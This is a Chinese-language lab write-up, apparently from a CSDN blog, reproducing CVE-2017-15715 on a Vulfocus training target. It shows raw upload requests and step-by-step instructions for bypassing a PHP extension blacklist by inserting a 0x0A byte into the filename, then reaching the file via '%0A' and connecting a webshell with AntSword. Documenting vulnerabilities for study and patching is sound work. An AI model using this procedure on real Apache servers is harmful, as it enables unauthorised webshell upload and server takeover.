apache 文件上传 CVE-2017-15715
所有文章,仅供安全研究与学习之用,后果自负!
apache 文件上传 (CVE-2017-15715)
0x01 漏洞描述
Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略
0x02 影响范围
Apache HTTPd 2.4.0~2.4.29
0x03 漏洞复现
写入phpinfo
(1)打开靶场
发现是空页面
抓包
发现响应包中
Server: Apache/2.4.10 (Debian)X-Powered-By: PHP/5.5.38
存在 apache解析漏洞 可以绕过php黑名单限制
然而 没有上传页面 尝试直接 修改为POST 添加 上传文件请求
(2) 尝试 上传 写了
内容的 1.php文件
请求包 和响应包如下
POST / HTTP/1.1Host: vulfocus.fofa.so:50892 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358Content-Length: 359Connection: closeUpgrade-Insecure-Requests: 1-----------------------------9552222486401230933854482358Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: application/octet-stream-----------------------------9552222486401230933854482358Content-Disposition: form-data; name="name"1.php-----------------------------9552222486401230933854482358--
bad file 上传失败
上传1.php.xxx
如下图 上传成功 说明 是php的黑名单拦截
(4) 利用 该版本存在的漏洞进行利用尝试
思路是: 修改1.php后的hex为0a
先将名字 改为1.phpaaaaa
a的hex值为61
多写几个 方便寻找
将其第一个61 改为0a
变为这样
然后删去多出来的aaa
注意a删完 留下空行
否则就会上传失败,再次修改名字上传
(5)访问上传后的 文件 看是否解析
注意 文件明后需要加%0A
http://ip:port/6.php%0Ahttp://vulfocus.fofa.so:16858/6.php%0A
发现解析成功
连接webshell
POST / HTTP/1.1Host: vulfocus.fofa.so:16858User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358Content-Length: 369Connection: closeUpgrade-Insecure-Requests: 1-----------------------------9552222486401230933854482358Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: application/octet-stream-----------------------------9552222486401230933854482358Content-Disposition: form-data; name="name"6.php-----------------------------9552222486401230933854482358--
传参 测试 写入是否成功
蚁剑连接webshell
0x04 漏洞修复
升级apache版本
总结
先通过 响应包的 server 和 x-powered-by获得apache和php版本
然后 利用 apache该版本存在的解析漏洞 进行黑名单绕过
上传file名字后边 x.phpaaaa 修改第一个a的hex61为0a然后删去其他a
上传成功后
访问 http://ip:port/x.php%0a 看是否成功解析
来源地址:https://blog.csdn.net/YouthBelief/article/details/121258770